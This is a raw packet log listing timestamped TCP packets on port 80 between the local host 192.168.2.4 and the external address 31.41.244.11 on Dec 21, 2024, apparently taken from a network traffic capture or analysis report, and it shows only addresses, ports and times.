Dec 21, 2024 10:15:22.454468966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.454536915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.454869032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.454924107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.455156088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.455205917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.456033945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.456085920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.456167936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.456229925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.457138062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.457190037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.457273006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.457379103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.458446026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.458498955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.458908081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.459613085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.459664106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.459727049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.459836006 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.460735083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.460791111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.460875034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.460926056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.461920977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.461977005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.462059021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.462136030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.463156939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.463212013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.463356972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.463419914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.464947939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.465004921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.465037107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.465225935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.465455055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.465509892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.465809107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.466048002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.466674089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.466742992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.466866016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.466918945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.467820883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.467880011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.467922926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.468095064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.469033003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.469084978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.469089985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.469144106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.470190048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.470268011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.470280886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.470346928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.471384048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.471441984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.471476078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.471524954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.472560883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.472613096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.472702980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.472754955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.473738909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.473779917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.473836899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.473948002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.474883080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.474941969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.475218058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.475271940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.476174116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.476237059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.476306915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.476361036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.477325916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.477377892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.477390051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.477422953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.478549004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.478619099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.478622913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.478804111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.479628086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.479679108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.479727983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.479868889 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.480844021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.480917931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.480987072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.481036901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.482045889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.482146025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.482351065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.482405901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.483268976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.483345985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.483416080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.483716965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.484347105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.484400988 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.484452963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.484519005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.485621929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.485676050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.485721111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.485905886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.486747980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.486804962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.486874104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.486994982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.487958908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.488028049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.488090038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.488143921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.489186049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.489254951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.489294052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.489345074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.490436077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.490487099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.490575075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.490775108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.491638899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.491683960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.491759062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.491894960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.492886066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.492979050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.493056059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.493057013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.494031906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.494091034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.494115114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.494163990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.495018959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.495085001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.495181084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.495229959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.496340990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.496402979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.496526957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.496587038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.497386932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.497441053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.497502089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.497608900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.498635054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.498712063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.498795033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.498861074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.499872923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.499924898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.500008106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.500057936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.500988960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.501039982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.501049042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.501084089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.502185106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.502336979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.502384901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.503408909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.503578901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.503607035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.503660917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.504849911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.504911900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.505007982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.505160093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.505912066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.505975008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.506114006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.506164074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.507038116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.507091999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.507174015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.507222891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.508344889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.508379936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.508394957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.508429050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.509196997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.509253025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.509345055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.509397984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.510425091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.510555029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.510567904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.510597944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.511593103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.511647940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.511717081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.511774063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.513041019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.513076067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.513099909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.513128042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.514048100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.514103889 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.514187098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.514235020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.515131950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.515224934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.515228033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.515285969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.516364098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.516413927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.646327972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.646433115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.646524906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.646826982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.646884918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.646944046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.646989107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.648111105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.648211002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.648272991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.649236917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.649297953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.649384022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.649439096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.650391102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.650446892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.650520086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.650572062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.651659966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.651766062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.651819944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.652879000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.652915001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.652945995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.652983904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.653965950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.654020071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.654037952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.654087067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.655122042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.655299902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.655369043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.656306028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.656358957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.656488895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.656536102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.657525063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.657587051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.657655954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.657707930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.658679008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.658724070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.658731937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.658783913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.659914970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.660018921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.660083055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.661075115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.661139011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.661267996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.661317110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.662244081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.662305117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.662374020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.662431955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.663409948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.663541079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.663598061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.664572001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.664622068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.664684057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.664735079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.665800095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.665848970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.665852070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.665903091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.666999102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.667100906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.667109013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.668128014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.668179989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.668265104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.668318033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.669409990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.669465065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.669605970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.669660091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.670584917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.670636892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.670639038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.670691013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.671931028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.671983004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.672033072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.673048973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.673105001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.673264027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.673315048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.674379110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.674433947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.674576998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.674628019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.675952911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.676404953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.676467896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.679604053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.679636955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.679672003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.679698944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.679728985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.679955959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.680176973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.680211067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.680231094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.680263042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.681175947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.681235075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.681312084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.681363106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.682236910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.682292938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.682342052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.682399035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.683192968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.683396101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.683443069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.685275078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.685323954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.685831070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.685883999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.688020945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.688055038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.688090086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.688107967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.688142061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.688147068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.688191891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.688539982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.688574076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.688601017 CET	49781	80	192.168.2.4	31.41.244.11
